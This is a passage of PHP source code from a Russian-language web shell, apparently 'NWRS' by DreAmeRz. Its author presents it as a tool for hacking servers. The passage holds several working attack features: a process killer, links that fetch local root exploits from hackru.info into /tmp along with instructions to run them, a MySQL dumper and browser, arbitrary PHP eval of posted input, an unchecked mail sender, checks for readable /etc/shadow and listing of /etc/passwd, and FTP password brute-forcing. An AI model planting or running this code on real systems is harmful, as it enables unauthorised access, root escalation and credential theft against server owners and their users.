  403.    $stack = explode("\n",$ret);
    404. 

  404.    $head = explode(" ",$stack[0]);
    405. 

  405.    unset($stack[0]);
    406. 

  406.    if (empty($ps_aux_sort)) {$ps_aux_sort = $sort_default;}
    407. 

  407.    if (!is_numeric($ps_aux_sort[0])) {$ps_aux_sort[0] = 0;}
    408. 

  408.    $k = $ps_aux_sort[0];
    409. 

  409.    if ($ps_aux_sort[1] != "a") {$y = "<a href=\"".$surl."?ac=ps&d=".urlencode($d)."&ps_aux_sort=".$k."a\"></a>";}
    410. 

  410.    else {$y = "<a href=\"".$surl."?ac=ps&d=".urlencode($d)."&ps_aux_sort=".$k."d\"></a>";}
    411. 

  411.    for($i=0;$i<count($head);$i++)
    412. 

  412.    {
    413. 

  413.     if ($i != $k) {$head[$i] = "<a href=\"".$surl."?ac=ps&d=".urlencode($d)."&ps_aux_sort=".$i.$ps_aux_sort[1]."\"><b>".$head[$i]."</b></a>";}
    414. 

  414.    }
    415. 

  415.    $prcs = array();
    416. 

  416.    foreach ($stack as $line)
    417. 

  417.    {
    418. 

  418.     if (!empty($line))
    419. 

  419. 	{
    420. 

  420. 	 echo "<tr>";
    421. 

  421.      $line = explode(" ",$line);
    422. 

  422.      $line[10] = join(" ",array_slice($line,10,count($line)));
    423. 

  423.      $line = array_slice($line,0,11);
    424. 

  424.      $line[] = "<a href=\"".$surl."?ac=ps&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>";
    425. 

  425.      $prcs[] = $line;
    426. 

  426.      echo "</tr>";
    427. 

  427.     }
    428. 

  428.    }
    429. 

  429.    $head[$k] = "<b>".$head[$k]."</b>".$y;
    430. 

  430.    $head[] = "<b>ACTION</b>";
    431. 

  431.    $v = $ps_aux_sort[0];
    432. 

  432.    usort($prcs,"tabsort");
    433. 

  433.    if ($ps_aux_sort[1] == "d") {$prcs = array_reverse($prcs);}
    434. 

  434.    $tab = array();
    435. 

  435.    $tab[] = $head;
    436. 

  436.    $tab = array_merge($tab,$prcs);
    437. 

  437.    echo "<TABLE height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=white borderColorLight=#c0c0c0 border=1 bordercolor=\"#C0C0C0\">";
    438. 

  438.    foreach($tab as $k)
    439. 

  439.    {
    440. 

  440.     echo "<tr>";
    441. 

  441.     foreach($k as $v) {echo "<td>".$v."</td>";}
    442. 

  442.     echo "</tr>";
    443. 

  443.    }
    444. 

  444.    echo "</table>";
    445. 

  445.   }
    446. 

  446. break;
    447. 

  447. // exploits for root...
    448. 

  448. case "exploits":
    449. 

  449. // thanks to xoce
    450. 

  450. $public_site = "http://hackru.info/adm/exploits/public_exploits";
    451. 

  451. $private_site = "http://hackru.info/adm/exploits/private_exploits";
    452. 

  452. echo"Этот раздел создан по ряду причин. Во-первых, уже надоело искать одни и теже эксплоиты, во-вторых - компилирование и исправление сорцов под конкретную платформу уже тоже не приносит удовольствия. Все эксплоиты скомпилированы и настроены. Самому компилировать было влом, поэтому воспользовался готовыми :) Выражаю благодарность xoce (hackru.info)<br><br>
    453. 

  453. <a href='?ac=upload&file3=$public_site/m&file2=/tmp'>Local ROOT for linux 2.6.20 - mremap (./m)</a><br>
    454. 

  454. <a href='?ac=upload&file3=$public_site/p&file2=/tmp'>Local ROOT for linux 2.6.20 - ptrace (./p)</a><br>
    455. 

  455. <a href='?ac=upload&file3=$private_site/brk&file2=/tmp'>BRK - Local Root Unix 2.4.*(./brk)</a><br>
    456. 

  456. <a href='?ac=upload&file3=$private_site/sortrace&file2=/tmp'>Traceroute v1.4a5 exploit by sorbo (./sortrace)</a><br>
    457. 

  457. <a href='?ac=upload&file3=$private_site/root&file2=/tmp'>Local Root Unix 2.4.* (./root)</a><br>
    458. 

  458. <a href='?ac=upload&file3=$private_site/sxp&file2=/tmp'>Sendmail 8.11.x exploit localroot (./sxp)</a><br>
    459. 

  459. <a href='?ac=upload&file3=$private_site/ptrace_kmod&file2=/tmp'>Local Root Unix 2.4.* (./ptrace_kmod)</a><br>
    460. 

  460. <a href='?ac=upload&file3=$private_site/mr1_a&file2=/tmp'>Local Root Unix 2.4.* (./mr1_a)</a><br><br>";
    461. 

  461. echo "Использование: заходите в /tmp из bash шелла и запускайте файлы запуска.<br>
    462. 

  462. Пример: cd /tmp; ./m - все, эксплоит запустится, и если все ok, то вы получите права root'a!<br>
    463. 

  463. Если здесь не оказалось подходящего эксплоита, то посетите <a href=http://www.web-hack.ru/exploits/>www.web-hack.ru/exploits/</a> и <a href=http://security.nnov.ru>security.nnov.ru</a>.";
    464. 

  464. 

  465. break;
    466. 

  466. case "damp":
    467. 

  467. 

  468.   if(isset($_POST['dif'])) { $fp = @fopen($_POST['dif_name'], "w"); }
    469. 

  469.   if((!empty($_POST['dif'])&&$fp)||(empty($_POST['dif']))){
    470. 

  470.   $db = @mysql_connect('localhost',$_POST['mysql_l'],$_POST['mysql_p']);
    471. 

  471.   if($db)
    472. 

  472.    {
    473. 

  473. 

  474.    if(@mysql_select_db($_POST['mysql_db'],$db))
    475. 

  475.     {
    476. 

  476.      // инфа о дампе
    477. 

  477.      $sql1  = "# MySQL dump created by NRWS\r\n";
    478. 

  478.      $sql1 .= "# homepage: http://www.Ru24-Team.NET\r\n";
    479. 

  479.      $sql1 .= "# ---------------------------------\r\n";
    480. 

  480.      $sql1 .= "#     date : ".date ("j F Y g:i")."\r\n";
    481. 

  481.      $sql1 .= "# database : ".$_POST['mysql_db']."\r\n";
    482. 

  482.      $sql1 .= "#    table : ".$_POST['mysql_tbl']."\r\n";
    483. 

  483.      $sql1 .= "# ---------------------------------\r\n\r\n";
    484. 

  484. 

  485.      // получаем текст запроса создания структуры таблицы
    486. 

  486.      $res   = @mysql_query("SHOW CREATE TABLE `".$_POST['mysql_tbl']."`", $db);
    487. 

  487.      $row   = @mysql_fetch_row($res);
    488. 

  488.      $sql1 .= $row[1]."\r\n\r\n";
    489. 

  489.      $sql1 .= "# ---------------------------------\r\n\r\n";
    490. 

  490. 

  491.      $sql2 = '';
    492. 

  492. 

  493.      // получаем данные таблицы
    494. 

  494.      $res = @mysql_query("SELECT * FROM `".$_POST['mysql_tbl']."`", $db);
    495. 

  495.      if (@mysql_num_rows($res) > 0) {
    496. 

  496.      while ($row = @mysql_fetch_assoc($res)) {
    497. 

  497.      $keys = @implode("`, `", @array_keys($row));
    498. 

  498.      $values = @array_values($row);
    499. 

  499.      foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
    500. 

  500.      $values = @implode("', '", $values);
    501. 

  501.      $sql2 .= "INSERT INTO `".$_POST['mysql_tbl']."` (`".$keys."`) VALUES ('".$values."');\r\n";
    502. 

  502.      }
    503. 

  503.      $sql2 .= "\r\n# ---------------------------------";
    504. 

  504.      }
    505. 

  505.      echo "<center><b>Готово! Дамп прошел удачно!</b></center>";
    506. 

  506.     // пишем в файл или выводим в браузер
    507. 

  507.     if(!empty($_POST['dif'])&&$fp) { @fputs($fp,$sql1.$sql2); }
    508. 

  508.     else { echo $sql1.$sql2; }
    509. 

  509.     } // end if(@mysql_select_db($_POST['mysql_db'],$db))
    510. 

  510. 

  511.     else echo "Такой БД нет!";
    512. 

  512.    @mysql_close($db);
    513. 

  513.    } // end if($db)
    514. 

  514.   else echo "Нет коннекта c сервером!";
    515. 

  515.  } // end if(($_POST['dif']&&$fp)||(!$_POST['dif'])){
    516. 

  516.  else if(!empty($_POST['dif'])&&!$fp) { echo "ОШИБКА, нет прав записи в файл!"; }
    517. 

  517. 

  518. break;
    519. 

  519. // SQL Attack
    520. 

  520. case "sql":
    521. 

  521. echo "<form name='mysql_dump' action='?ac=damp' method='post'>";
    522. 

  522. echo "&nbsp;База: &nbsp;<input type=text name=mysql_db size=15 value=";
    523. 

  523. echo (!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"));
    524. 

  524. echo ">";
    525. 

  525. echo "&nbsp;Таблица: &nbsp;<input type=text name=mysql_tbl size=15 value=";
    526. 

  526. echo (!empty($_POST['mysql_tbl'])?($_POST['mysql_tbl']):("user"));
    527. 

  527. echo ">";
    528. 

  528. echo "&nbsp;Логин: &nbsp;<input type=text name=mysql_l size=15 value=";
    529. 

  529. echo (!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"));
    530. 

  530. echo ">";
    531. 

  531. echo "&nbsp;Пароль: &nbsp;<input type=text name=mysql_p size=15 value=";
    532. 

  532. echo (!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"));
    533. 

  533. echo ">";
    534. 

  534. echo "<input type=hidden name=dir size=85 value=".$dir.">";
    535. 

  535. echo "<input type=hidden name=cmd size=85 value=mysql_dump>";
    536. 

  536. echo "<br>&nbsp;Сохранить дамп в файле: <input type=checkbox name=dif value=1 id=dif><input type=text name=dif_name size=85 value=";
    537. 

  537. echo (!empty($_POST['dif_name'])?($_POST['dif_name']):("dump.sql"));
    538. 

  538. echo ">";
    539. 

  539. echo "<input type=submit name=submit value=Сохранить>" ;
    540. 

  540. echo "</font>";
    541. 

  541. echo "</form>"; 
    542. 

  542.  print "<tr><td>";
    543. 

  543. ###
    544. 

  544. 

  545. @$php_self=$_GET['PHP_SELF'];
    546. 

  546. @$from=$_GET['from'];
    547. 

  547. @$to=$_GET['to'];
    548. 

  548. @$adress=$_POST['adress'];
    549. 

  549. @$port=$_POST['port'];
    550. 

  550. @$login=$_POST['login'];
    551. 

  551. @$pass=$_POST['pass'];
    552. 

  552. @$adress=$_GET['adress'];
    553. 

  553. @$port=$_GET['port'];
    554. 

  554. @$login=$_GET['login'];
    555. 

  555. @$pass=$_GET['pass'];
    556. 

  556. if(!isset($adress)){$adress="localhost";}
    557. 

  557. if(!isset($login)){$login="root";}
    558. 

  558. if(!isset($pass)){$pass="";}
    559. 

  559. if(!isset($port)){$port="3306";}
    560. 

  560. if(!isset($from)){$from=0;}
    561. 

  561. if(!isset($to)){$to=50;}
    562. 

  562. ?>
    563. 

  563. 

  564. <body vLink=white>
    565. 

  565. <font color=black face=verdana size=1>
    566. 

  566. <form>  <? if(!@$conn){ ?>
    567. 

  567. <table><tr><td valign=top>
    568. 

  568. <input type=hidden name=ac value=sql>
    569. 

  569. <tr><td valign=top>Хост: </tr><td><input name=adress value='<?=$adress?>' size=20></td></tr>
    570. 

  570. <tr><td valign=top>Порт: </tr><td><input name=port value='<?=$port?>' size=6></td></tr>
    571. 

  571. <tr><Td valign=top>Логин: </td><td><input name=login value='<?=$login?>' size=10></td></tr>
    572. 

  572. <tr><Td valign=top>Пароль: </td><td> <input name=pass value='<?=$pass?>' size=10>
    573. 

  573. <input type=hidden name=p value=sql></td></tr>
    574. 

  574. <tr><td></td><td><input type=submit name=conn value=Подключиться></form></td></tr><?}?>
    575. 

  575. <tr><td valign=top><? if(@$conn){ echo "<b>PHP v".@phpversion()."<br>mySQL v".@mysql_get_server_info()."<br>";}?></b></td><td>
    576. 

  576. </td></tr>
    577. 

  577. </table>
    578. 

  578. <table width=100%><tr><td>
    579. 

  579. <?
    580. 

  580. @$conn=$_GET['conn'];
    581. 

  581. @$adress=$_GET['adress'];
    582. 

  582. @$port=$_GET['port'];
    583. 

  583. @$login=$_GET['login'];
    584. 

  584. @$pass=$_GET['pass'];
    585. 

  585. if($conn){
    586. 

  586. 

  587. $serv = @mysql_connect("$adress:$port", "$login", "$pass") or die("ОШИБКА: ".mysql_error());
    588. 

  588. if($serv){$status="Подключен. :: <a href='$php_self?conn=0'>Выйти из базы</a>";}else{$status="Отключен.";}
    589. 

  589. print "<b><font color=green>Статус: $status<br><br>";
    590. 

  590. print "<table cellpadding=0 cellspacing=0><tr><td valign=top>";
    591. 

  591. print "<font color=red>[Таблицы]</font><Br><font color=white>";
    592. 

  592. $res = mysql_list_dbs($serv);
    593. 

  593. while ($str=mysql_fetch_row($res)){
    594. 

  594. print "<b><a href='$php_self?ac=sql&base=1&db=$str[0]&p=sql&login=$login&pass=$pass&adress=$adress&conn=1&tbl=$str[0]'>$str[0]</a></b><br>";
    595. 

  595. @$tc++;
    596. 

  596. }
    597. 

  597. $pro="&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
    598. 

  598. @$base=$_GET['base'];
    599. 

  599. @$db=$_GET['db'];
    600. 

  600. print "<font color=red>[Всего таблиц: $tc]</font><br>$pro";
    601. 

  601. if($base){
    602. 

  602. print "<div align=left><font color=green>Таблица: [$tbl]</div></font><br>";
    603. 

  603. $result=mysql_list_tables($db);
    604. 

  604. while($str=mysql_fetch_array($result)){
    605. 

  605. $c=mysql_query ("SELECT COUNT(*) FROM $str[0]");
    606. 

  606. $records=mysql_fetch_array($c);
    607. 

  607. print "<font color=red>[$records[0]]</font> <a href='$php_self?ac=sql&inside=1&p=sql&vn=$str[0]&base=1&db=$db&login=$login&pass=$pass&adress=$adress&conn=1&tbl=$str[0]'>$str[0]</a><br>";
    608. 

  608. mysql_free_result($c);
    609. 

  609. }
    610. 

  610. } #end base
    611. 

  611. 

  612. @$vn=$_GET['vn'];
    613. 

  613. print "</td><td valign=top>";
    614. 

  614. print "<font color=green>База данных: $db => $vn</font>";
    615. 

  615. @$inside=$_GET['inside'];
    616. 

  616. @$tbl=$_GET['tbl'];
    617. 

  617. if($inside){
    618. 

  618. print "<table cellpadding=0 cellspacing=1><tr>";
    619. 

  619. 

  620. mysql_select_db($db) or die(mysql_error());
    621. 

  621. $c=mysql_query ("SELECT COUNT(*) FROM $tbl");
    622. 

  622. $cfa=mysql_fetch_array($c);
    623. 

  623. mysql_free_result($c);
    624. 

  624. print "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>";
    625. 

  625. print "
    626. 

  626. Всего: $cfa[0]<form>
    627. 

  627. <input type=hidden name=ac value=sql>
    628. 

  628. От: <input name=from size=3 value=0>
    629. 

  629. До: <input name=to size=3 value=$cfa[0]>
    630. 

  630. <input type=submit name=show value=Показать>
    631. 

  631. <input type=hidden name=inside value=1>
    632. 

  632. <input type=hidden name=vn value=$vn>
    633. 

  633. <input type=hidden name=db value=$db>
    634. 

  634. <input type=hidden name=login value=$login>
    635. 

  635. <input type=hidden name=pass value=$pass>
    636. 

  636. <input type=hidden name=adress value=$adress>
    637. 

  637. <input type=hidden name=conn value=1>
    638. 

  638. <input type=hidden name=base value=1>
    639. 

  639. <input type=hidden name=p value=sql>
    640. 

  640. <input type=hidden name=tbl value=$tbl>
    641. 

  641.  [<a href='$php_self?ac=sql&getdb=1&to=$cfa[0]&inside=1&vn=$vn&db=$db&login=$login&pass=$pass&adress=$adress&conn=1&base=1&p=sql&tbl=$tbl'>Загрузить</a>]
    642. 

  642. </form>";
    643. 

  643. @$vn=$_GET['vn'];
    644. 

  644. @$from=$_GET['from'];
    645. 

  645. @$to=$_GET['to'];
    646. 

  646. @$from=$_GET['from'];
    647. 

  647. @$to=$_GET['to'];
    648. 

  648. if(!isset($from)){$from=0;}
    649. 

  649. if(!isset($to)){$to=50;}
    650. 

  650. $query = "SELECT * FROM $vn LIMIT $from,$to";
    651. 

  651. $result = mysql_query($query);
    652. 

  652. for ($i=0;$i<mysql_num_fields($result);$i++){
    653. 

  653. $name=mysql_field_name($result,$i);
    654. 

  654. print "<td>&nbsp;</td><td bgcolor=#BCE0FF> $name </td> ";
    655. 

  655. }
    656. 

  656. print "</tr>";
    657. 

  657. while($mn = mysql_fetch_array($result, MYSQL_ASSOC)){
    658. 

  658. print "<tr>";
    659. 

  659. foreach ($mn as $come=>$lee) {
    660. 

  660. $nst_inside=htmlspecialchars($lee);
    661. 

  661. print "<td>&nbsp;</td><td bgcolor=silver>$nst_inside</td>\r\n";
    662. 

  662. } print "</tr>";
    663. 

  663. }
    664. 

  664. mysql_free_result($result);
    665. 

  665. print "</table>";
    666. 

  666. 

  667. } #end inside
    668. 

  668. print "</td></tr></table>";
    669. 

  669. } # end $conn
    670. 

  670. 

  671. 

  672. ###   end of sql
    673. 

  673. print "</tr></td></table> </td></tr></table>";
    674. 

  674. print $copyr;
    675. 

  675. die;
    676. 

  676. 

  677. 

  678. break;
    679. 

  679. 

  680. //PHP Eval Code execution
    681. 

  681. case "eval":
    682. 

  682. 

  683. echo <<<HTML
    684. 

  684. <b>Исполнение php-кода (без "< ?  ? >")</b>
    685. 

  685. <table>
    686. 

  686. <form method="POST" action="$self">
    687. 

  687. <input type="hidden" name="ac" value="eval">
    688. 

  688. <tr>
    689. 

  689. <td><textarea name="ephp" rows="10" cols="60"></textarea></td>
    690. 

  690. </tr>
    691. 

  691. <tr>
    692. 

  692. <td><input type="submit" value="Enter"></td>
    693. 

  693. $tend
    694. 

  694. HTML;
    695. 

  695. 

  696. if (isset($_POST['ephp'])){
    697. 

  697. eval($_POST['ephp']);
    698. 

  698. }
    699. 

  699. break;
    700. 

  700. 

  701. // SEND MAIL
    702. 

  702. case "sendmail":
    703. 

  703. echo <<<HTML
    704. 

  704. <table>
    705. 

  705. <form method="POST" action="$self">
    706. 

  706. <input type="hidden" name="ac" value="sendmail">
    707. 

  707. <tr>От кого: <br>
    708. 

  708. <input type="TEXT" name="frommail">
    709. 

  709. <br>Кому:<br> <input type="TEXT" name="tomailz">
    710. 

  710. <br>Тема: <br><input type="TEXT" name="mailtema">
    711. 

  711. <br>Текст: <br>
    712. 

  712. <td><textarea name="mailtext" rows="10" cols="60"></textarea></td>
    713. 

  713. </tr>
    714. 

  714. <tr>
    715. 

  715. <td><input type="submit" value="Отправить" name="submit"></td><form>
    716. 

  716. $tend
    717. 

  717. HTML;
    718. 

  718. // никакая проверка не делается, а зачем ? =)
    719. 

  719. if (isset($submit))
    720. 

  720. {
    721. 

  721. 

  722. mail($tomailz,$mailtema,$mailtext,"From: $frommail");
    723. 

  723. echo "<h2>Сообщение отправлено!</h2>";
    724. 

  724. }
    725. 

  725. break;
    726. 

  726. 

  727. 

  728. // Информация о системе
    729. 

  729. case "info":
    730. 

  730. if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
    731. 

  731. {
    732. 

  732.  $safemode = true;
    733. 

  733.  $hsafemode = "<font color=\"red\">Включено</font>";
    734. 

  734. }
    735. 

  735. else {$safemode = false; $hsafemode = "Отключено</font>";}
    736. 

  736. /* display information */
    737. 

  737. echo "<b>[ Информация о системе ]</b><br>";
    738. 

  738. echo "<b>Хост:</b> ".$_SERVER["HTTP_HOST"]."<br>" ;
    739. 

  739. echo "<b>IP сервера:</b> ".gethostbyname($_SERVER["HTTP_HOST"])."<br>";
    740. 

  740. echo " <b>Сервер: </b>".$_SERVER['SERVER_SIGNATURE']."  ";
    741. 

  741. echo "<b>OC:</b> ".exec("uname -a")."(";
    742. 

  742. print "".php_uname()." )<br>\n";
    743. 

  743. echo "<b>Процессор:</b> ".exec("cat /proc/cpuinfo | grep GHz")."<br>";
    744. 

  744. echo "<b>Привилегии: </b>".exec("id")."<br>";
    745. 

  745. echo "<b>Всего места: </b>" . (int)(disk_total_space(getcwd())/(1024*1024)) . " MB " . "<b>Свободно</b>: " . (int)(disk_free_space(getcwd())/(1024*1024)) . " MB <br>";
    746. 

  746. echo "<b>Текущий каталог:</b>".exec("pwd")."";
    747. 

  747. echo " <br><b>Текуший web-путь: </b>".@$_SERVER['PHP_SELF']."  ";
    748. 

  748. echo "<br><b>Твой IP:</b> ".$_SERVER['REMOTE_HOST']." (".$_SERVER['REMOTE_ADDR'].")<br>";
    749. 

  749. echo "<b>PHP version: </b>".phpversion()."<BR>";
    750. 

  750. echo "<b> ID владельца процеса: </b>".get_current_user()."<BR>";
    751. 

  751. echo "<b>MySQL</b> : ".mysql_get_server_info()."<BR>";
    752. 

  752. if(file_exists('/etc/passwd') && is_readable('/etc/passwd')){
    753. 

  753. print '<b>Есть доступ к /etc/passwd! </b><br>';
    754. 

  754. }
    755. 

  755. if(file_exists('/etc/shadow') && is_readable('/etc/shadow')){
    756. 

  756. print '<b>Есть доступ к /etc/shadow!</b> <br>';
    757. 

  757. }
    758. 

  758. if(file_exists('/etc/shadow-') && is_readable('/etc/shadow-')){
    759. 

  759. print '<b>Есть доступ к /etc/shadow-!</b> ';
    760. 

  760. }
    761. 

  761. if(file_exists('/etc/master.passwd') && is_readable('/etc/master.passwd')){
    762. 

  762. print '<b>Есть доступ к /etc/master.passwd! </b><br>';
    763. 

  763. }
    764. 

  764. if(isset($_POST['th']) && $_POST['th']!=''){
    765. 

  765. chdir($_POST['th']);
    766. 

  766. };
    767. 

  767. if(is_writable('/tmp/')){
    768. 

  768. $fp=fopen('/tmp/qq8',"w+");
    769. 

  769. fclose($fp);
    770. 

  770. print "/tmp - открыта&nbsp;<br>\n";
    771. 

  771. unlink('/tmp/qq8');
    772. 

  772. }
    773. 

  773. else{
    774. 

  774. print "<font color=red>/tmp - не открыта</font><br>";
    775. 

  775. }
    776. 

  776. echo "<b>Безопасный режим: ".$hsafemode."</b><br>";
    777. 

  777. if ($nixpasswd)
    778. 

  778.   {
    779. 

  779.    if ($nixpasswd == 1) {$nixpasswd = 0;}
    780. 

  780.    $num = $nixpasswd + $nixpwdperpage;
    781. 

  781.    echo "<b>*nix /etc/passwd:</b><br>";
    782. 

  782.    $i = $nixpasswd;
    783. 

  783.    while ($i < $num)
    784. 

  784.    {
    785. 

  785.     $uid = posix_getpwuid($i);
    786. 

  786.     if ($uid) {echo join(":",$uid)."<br>";}
    787. 

  787.     $i++;
    788. 

  788.    }
    789. 

  789.   }
    790. 

  790.   else {echo "<br><a href=?ac=navigation&d=/etc/&e=passwd><b><u>Get /etc/passwd</u></b></a><br>";}
    791. 

  791.   if (file_get_contents("/etc/userdomains")) {echo "<b><a href=\"".$surl."act=f&f=userdomains&d=/etc/&ft=txt\"><u><b>View cpanel user-domains logs</b></u></a></b><br>";}
    792. 

  792.   if (file_get_contents("/var/cpanel/accounting.log")) {echo "<b><a href=\"".$surl."act=f&f=accounting.log&d=/var/cpanel/&ft=txt\"><u><b>View cpanel logs</b></u></a></b><br>";}
    793. 

  793.   if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "<b><a href=?ac=navigation&d=/usr/local/apache/conf&e=httpd.conf><u><b>Конфигурация Apache (httpd.conf)</b></u></a></b><br>";}
    794. 

  794.   { echo "<b><a href=?ac=navigation&d=/etc/httpd/conf&e=httpd.conf><u><b>Конфигурация Apache (httpd.conf)</b></u></a></b><br>";}
    795. 

  795.    if (file_get_contents("/etc/httpd.conf")) {echo "<b><a href=?ac=navigation&d=/etc/&e=httpd.conf><u><b>Конфигурация Apache (httpd.conf)</b></u></a></b><br>";}
    796. 

  796.     if (file_get_contents("/etc/httpd.conf")) {echo "<b><a href=?ac=navigation&d=/var/cpanel&e=accounting.log><u><b>cpanel log  </b></u></a></b><br>";}
    797. 

  797.  break;
    798. 

  798.  
    799. 

  799. // О скрипте
    800. 

  800. case "about":
    801. 

  801. 

  802. echo "<center><b>Привет всем!</b><br><br>
    803. 

  803. Наконец-то NWRS доступен в первой стабильной версии! Добавилось множество новых полезных возможностей. Все функции скрипта работают и работают корректно. Добавлены уникальные инструменты для взлома сервера. В то же время нет ничего лишнего. Все, что задумывалось - реализировано. Думаю, каждый найдет в скрипте что-то полезное для себя. Также заявляю о том, что я закрываю проект, ибо он достиг идеала :) Любой может его продолжить, php - открытый язык. На первых порах скрипт вообще был только у нескольких человек узкого круга друзей, писал его для себя, из-за своей природной лени.
    804. 

  804. Ну, и спасибо этим людям:  Nitrex, Terabyte, 1dt_wolf, xoce, FUF, Shift, dodbob, m0zg, Tristram, Sanchous (орфография и дизайн)... И многим другим... Их идеи очень помогли воплотить в жизнь столь универсальный инструмент. Огромное спасибо им!<br><br><b>Помните: используя этот скрипт на чужих серверах, вы нарушаете закон :) Так что осторожнее.</b></center>";
    805. 

  805. echo "<center><br><br><em>Посетите эти сайты, и вы всегда будете в курсе событий:</em><br><br>
    806. 

  806. <a href='http://www.ru24-team.net'>www.ru24-team.net</a><br><br>
    807. 

  807. <a href='http://www.web-hack.ru'>www.web-hack.ru</a><br><br>
    808. 

  808. <a href='http://www.rst.void.ru'>www.rst.void.ru</a><br><br>
    809. 

  809. <a href='http://www.hackru.info'>www.hackru.info</a><br><br>
    810. 

  810. <a href='http://www.realcoding.net'>www.realcoding.net</a><br><br>
    811. 

  811. <a href='http://www.ccteam.ru'>www.ccteam.ru</a><br><br>
    812. 

  812. Извиняюсь, если кого забыл.<br> <em>Автор не несет ответственности за материалы, размещенные на этих сайтах, оcобенно на последнем </em>:)
    813. 

  813. <br><br><br><br><br><b>Скрипт распространяется по лицензии GNU GPL<br> 22 Июля 2005 г. &#169; DreAmeRz<br> e-mail:</b> <a href='mailto:dreamerz@mail.ru'>dreamerz@mail.ru</a><b> ICQ: </b>817312 <b>WEB: </b><a href='http://www.ru24-team.net'>http://www.Ru24-Team.NET</a>";
    814. 

  814. break;
    815. 

  815. 

  816. // ФТП подбор паролей
    817. 

  817. case "ftppass":
    818. 

  818. 

  819. $filename="/etc/passwd"; // passwd file
    820. 

  820. $ftp_server="localhost"; // FTP-server
    821. 

  821. 

  822. echo "FTP-server: <b>$ftp_server</b> <br><br>";
    823. 

  823. 

  824. $fp = fopen ($filename, "r");
    825. 

  825. if ($fp)
    826. 

  826. {
    827. 

  827. while (!feof ($fp)) { 
    828. 

  828. $buf = fgets($fp, 100);
    829. 

  829. ereg("^([0-9a-zA-Z]{1,})\:",$buf,$g);
    830. 

  830. $ftp_user_name=$g[1];
    831. 

  831. $ftp_user_pass=$g[1];
    832. 

  832. $conn_id=ftp_connect($ftp_server);
    833. 

  833. $login_result=@ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);
    834. 

  834. 

  835. if (($conn_id) && ($login_result)) {
    836. 

  836. echo "<b>Подключение login:password - ".$ftp_user_name.":".$ftp_user_name."</b><br>";
    837. 

  837. ftp_close($conn_id);}
    838. 

  838. else {
    839. 

  839. echo $ftp_user_name." - error<br>";
    840. 

  840. }
    841. 

  841. }}
    842. 

  842. break;
    843. 

  843. 

  844. case "ftp":
    845. 

  845. 

  846. echo "
    847. 

  847.  <TABLE CELLPADDING=0 CELLSPACING=0 width=500 align=center>
    848. 

  848.  <form action='$PHP_SELF?ac=ftp' method=post><tr><td align=left valign=top colspan=3 class=pagetitle>
    849. 

  849.  <b><a href=?ac=ftppass>Проверить на связку login\password</a></b>
    850. 

  850. </td></tr>
    851. 

  851.  
    852. 

  852. <tr><td align=center class=pagetitle width=150>&nbsp;&nbsp;FTP Host:</td>
    853. 

  853. <td align=left width=350>&nbsp;&nbsp;&nbsp;
    854. 

  854. <input class='inputbox' type='text' name='host' size=50></td></tr>
    855. 

  855. <tr><td align=center class=pagetitle width=150>&nbsp;&nbsp;Login:</td>
    856. 

  856. <td align=left width=350>&nbsp;&nbsp;&nbsp;
    857. 

  857. <input class='inputbox' type='text' name='login' size=50></td></tr>
    858. 

  858. <tr><td align=center class=pagetitle width=150>&nbsp;&nbsp;Колличество паролей:</td>
    859. 

  859. <td align=left width=350>&nbsp;&nbsp;&nbsp;
    860. 

  860. <input class='inputbox' type='text' name='number' size=10> <1000 pass </td></tr>
    861. 

  861. <tr><td align=center class=pagetitle width=150>&nbsp;&nbsp;Пароль для проверки:</td>
    862. 

  862. <td align=left width=350>&nbsp;&nbsp;&nbsp;
    863. 

  863. <input class='inputbox' type='text' name='testing' size=50>
    864. 

  864. <input type='submit' value='Brut FTP' class=button1 $style_button><br><b>Лог сохраняется в pass.txt</b></td></tr>
    865. 

  865. 

  866. 

  867.  
    868. 

  868.  </form></table>";
    869. 

  869.  
    870. 

  870.  
    871. 

  871. function s() {
    872. 

  872.    $word="qwrtypsdfghjklzxcvbnm";
    873. 

  873.    return $word[mt_rand(0,strlen($word)-1)];
    874. 

  874. }
    875. 

  875. 

  876. function g() {
    877. 

  877.    $word="euioam";
    878. 

  878.    return $word[mt_rand(0,strlen($word)-2)];
    879. 

  879. }
    880. 

  880. 

  881. function name0() {   return s().g().s();                        }
    882. 

  882. function name1() {   return s().g().s().g();                    }
    883. 

  883. function name2() {   return s().g().g().s();                    }
    884. 

  884. function name3() {   return s().s().g().s().g();                }
    885. 

  885. function name4() {   return g().s().g().s().g();                }
    886. 

  886. function name5() {   return g().g().s().g().s();                }
    887. 

  887. function name6() {   return g().s().s().g().s();                }
    888. 

  888. function name7() {   return s().g().g().s().g();                }
    889. 

  889. function name8() {   return s().g().s().g().g();                }
    890. 

  890. function name9() {   return s().g().s().g().s().g();            }
    891. 

  891. function name10() {   return s().g().s().s().g().s().s();        }
    892. 

  892. function name11() {   return s().g().s().s().g().s().s().g();        }
    893. 

  893. 

